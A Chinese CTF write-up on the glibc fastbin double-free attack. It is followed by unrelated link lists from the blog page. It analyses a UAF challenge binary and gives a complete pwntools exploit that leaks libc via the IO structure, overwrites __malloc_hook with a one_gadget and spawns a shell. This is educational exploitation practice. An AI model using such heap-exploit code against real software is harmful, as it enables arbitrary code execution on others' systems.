常回家看看之fastbin_attack
常回家看看之fastbin_attack
原理分析
fastbin属于小堆块的管理,这里说的fastbin_attack大多指glibc2.26之前的手法,因为自glibc2.26以后,glibc迎来了一位新成员tcachebin,它减少了堆的开销,使堆管理变得迅速而高效,而且申请的小堆块会优先进入tachebin中,只有tachebin其中一个链表满了再次申请一个相同大小的堆块,若是小堆块再次free会进入fastbin中。
下面主要看一下fastbin,在glibc2.26以前对fastbin double free的检查没有那么严格,也就是说,如果程序里面有UAF漏洞,我们只要free第一个堆块之后free一个别的堆块,再次free第一个堆块,导致double free,实现堆块的伪造和堆块重叠。
也就是如下这种情况
在pwngdb里面是这样的
那么下次申请堆块的时候会把chunk0申请走,如果此时修改了chunk0的fd指针那么就导致把fake_chunk加入到fastbin链表中
就是如下这种情况
那么就可以实现堆块重叠
例题演示
题目保护情况
64位ida逆向
菜单
add函数,存在堆块数量上限,申请堆块之前申请了一个0x28大小的控制堆块,在控制堆块+8位置写上数据堆块地址,然后最后可以向控制堆块+16处的地址可以输入23字节的数据
free函数,存在UAF漏洞,及可以double free
show函数,没有实际的功能
分析
程序没有show功能,我们申请堆块的时候先申请到的控制堆块,然后才是自己输入的size的堆块,但是大小有限制导致不难申请到unsortbin范围大小的chunk,但是我们可以向控制堆块输入内容,导致可以伪造chunk的size位,泄露libc地址只能位置堆块实现堆块重叠,程序存在UAF漏洞,可以double free 从而可以伪造堆块,修改size为unsortbin 大小的范围然后free掉堆块
此时堆块情况
但是此时堆块size位为0x91,申请堆块的时候fastbin有检查,因此我们要复原堆块的size,但是由于没有show功能,所以可以申请堆块到IO结构体上,修改_IO_write_base 导致泄露libc地址,远程的话需要爆破高字节。
堆块7为了防止申请堆块的时候控制堆块切割unsortbin chunk。
然后用同样的手法在__malloc_hook 和 _realloc_hook布置上one_gadget,即可拿到shell
EXP
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('../pwn162')
#io = remote('pwn.challenge.ctf.show', 28304)
libc = ELF('/home/su/PWN/VIPshow/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def Add(size,name,msg=8 * b'\x00' + p64(0x71) + b'\x00' * 7):
io.sendlineafter("Your choice : ", '1')
io.sendlineafter("size of the daniu's name: \n", str(size))
io.sendafter("daniu's name:\n", name)
io.sendlineafter("daniu's message:\n", msg)
def Delete(idx):
io.sendlineafter("Your choice : ", '3')
io.sendlineafter("daniu's index:\n", str(idx))
io.recvline()
Add(0x60, 14 * p64(0x71)) # 0
Add(0x60, 14 * p64(0x71)) # 1
#gdb.attach(io)
Delete(0)
Delete(1)
Delete(0)
gdb.attach(io)
Add(0x60, '\x20') # 2
Add(0x60, '\x20') # 3
Add(0x60, '\x20') # 4
Add(0x60, p64(0) + p64(0x71)) # 5
#gdb.attach(io)
Delete(0)
Delete(5)
Add(0x60, p64(0) + p64(0x91)) # 6
Add(0x20, 'bbbb') # 7
Delete(0)
Delete(5)
Delete(7)
Add(0x60, p64(0) + p64(0x71) + b'\xdd\x45') # 8
#gdb.attach(io)
Delete(7)
Add(0x60, 'deadbeef') # 9
Delete(7)
#gdb.attach(io)
io.sendlineafter("Your choice : ", '1')
io.sendlineafter("size of the daniu's name: \n", str(0x60))
io.sendafter("daniu's name:\n", 0x33 * b'\x00' + p64(0x0FBAD1887) + p64(0) * 3 + b'\x58')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x3c46a3
success('libc_base---->'+hex(libc_base))
pause()
malloc_hook = libc_base +libc.sym['__malloc_hook']
one = libc_base + 0xf1147
realloc = libc_base + libc.sym['__realloc_hook']
#gdb.attach(io)
io.sendline('a')
Delete(5)
Delete(0)
Delete(5)
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
payload = b'a'*0xb + p64(one) + p64(realloc)
#gdb.attach(io)
Add(0x60,payload)
#gdb.attach(io)
io.sendlineafter("Your choice : ", '1')
io.interactive()
常回家看看之fastbin_attack的更多相关文章
- 《Android插件化开发指南》面世
本书在京东购买地址:https://item.jd.com/31178047689.html 本书Q群:389329264 (一)这是一本什么书 如果只把本书当作纯粹介绍Android插件化技术的书籍 ...
- C 基础框架开发
引言 有的人真的是天命所归 延安时期炸弹 投到他院子都 没炸. 有些事无法改变 是命! 我们也快'老'了, 常回家看看. 前言 扯淡结束了,今天分享的可能有点多,都很简单,但是糅合在一起就是有点复杂. ...
- 利用Swoole实现PHP+websocket直播,即使通讯
websocket Websocket只是一个网络通信协议,就像 http.ftp等都是网络通信的协议一样:相对于HTTP这种非持久的协议来说,Websocket是一个持久化网络通信的协议: WebS ...
- 高中最后一刻&大学第一课&为人师的责任
文章不是技术文,只是分享一些感想,作为一只程序猿,不说好好敲代码,跑出来思考人生,不是合格的程序猿,罪过罪过,自我反思3秒钟,我们继续,毕竟程序猿的人生不只是Coding,也希望自己这点感想被更多刚入 ...
- N1试卷常考词汇总结
免れる まぬがれる 免去,幸免 軽率 けいそつ 轻率,草率 捩れる ねじれる 拧劲儿,扭歪,弯曲 裂ける さける 裂开,破裂 避ける さける 躲避,避开 つまむ 挟,捏,掐 追及 ついきゅう 追上.追 ...
- JavaScript 字符串实用常操纪要
JavaScript 字符串用于存储和处理文本.因此在编写 JS 代码之时她总如影随形,在你处理用户的输入数据的时候,在读取或设置 DOM 对象的属性时,在操作 Cookie 时,在转换各种不同 Da ...
- C++常考面试题汇总
c++面试题 一 用简洁的语言描述 c++ 在 c 语言的基础上开发的一种面向对象编程的语言: 应用广泛: 支持多种编程范式,面向对象编程,泛型编程,和过程化编程:广泛应用于系统开发,引擎开发:支持类 ...
- OCP考点实战演练02-日常维护篇
本系列宗旨:真正掌握OCP考试中所考察的技能,坚决不做Paper OCP! 实验环境:RHEL 6.4 + Oracle 11.2.0.4 OCP考点实战演练02-日常维护篇 1.数据库体系结构和AS ...
- c/c++常见面试题
1. C中static有什么作用 (1)隐藏. 当我们同时编译多个文件时,所有未加static前缀的全局变量和函数都具有全局可见性,故使用static在不同的文件中定义同名函数和同名变量,而不必担心命 ...
- flhs笔试题-回家上机实践
这是最近参加的一个公司的笔试题,回家上机写了下代码,希望对有需要的小伙伴有用,简单实现字符串和数组在指定位置的插入: package org.flhs; import com.google.commo ...
随机推荐
- webpack 路径别名与导入后缀省略
// 解析模块的规则 resolve: { // 配置解析模块路径别名:优点简写路径,缺点路径没有提示 alias: { // 定义一个@变量,可在import引入时使用 '@': path.reso ...
- 使用Express写接口
接口规范 随着前后端分离越来越普遍, 后端接口规范也就越来越重要了,一套良好的接口规范可以提升工作效率, 减少沟通障碍.通常我们都会采用RestfulApi方式来提供接口, 使用 JSON 来传输数据 ...
- 2024 Web 新特性 - 使用 Popover API 创建弹窗
Popover API 为开发者提供了一种声明式的方式来创建各种类型的弹窗.目前已在所有三大浏览器引擎中可用,并正式成为 Baseline 2024 的一部分. 一直以来,我们在实现弹出式菜单.提示框 ...
- 大量索引场景下 Easysearch 和 Elasticsearch 的吞吐量差异
最近有客户在使用 Elasticsearch 搜索服务时发现集群有掉节点,并且有 master 收集节点信息超时的日志,节点的负载也很高,不只是 data 节点,master 和协调节点的 cpu 使 ...
- python生成随机四位数和AttributeError: module 'random' has no attribute 'sample'
python生成随机四位数和AttributeError: module 'random' has no attribute 'sample' ## AttributeError: module 'r ...
- python3读csv文件,出现UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd0 in position 0: invalid con
使用csv.reader(file)读csv文件时,出现如下错误:UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd0 in positio ...
- 上交大开源镜像站下架 Docker Hub 镜像
在现代软件开发中,Docker镜像已经成为不可或缺的工具.然而,最近频频出现的Docker镜像下架事件让许多开发者措手不及.突然失去依赖的镜像,不仅打乱了项目进程,还引发了许多不便.那么,面对Do ...
- VulnHub_DC-3渗透流程
VulnHub_DC-3 DC-3 是另一个特意建造的易受攻击的实验室,旨在获得渗透测试领域的经验. 与之前的 DC 版本一样,这个版本是为初学者设计的,尽管这一次只有一个flag.一个入口点并且根本 ...
- MathType选项灰色无法点击或者word无法粘贴,治本解决方案
问题描述: mathtype安装过后,word中会出现mathtype的选项,但是这时mathtype中的选项是虚的,无法点击,而且此时word无法粘贴内容. 解决步骤: 1.打开word选项,点击加 ...
- FFmpeg开发笔记(三十八)APP如何访问SRS推流的RTMP直播地址
<FFmpeg开发实战:从零基础到短视频上线>一书在第10章介绍了轻量级流媒体服务器MediaMTX,通过该工具可以测试RTSP/RTMP等流媒体协议的推拉流.不过MediaMTX的功能 ...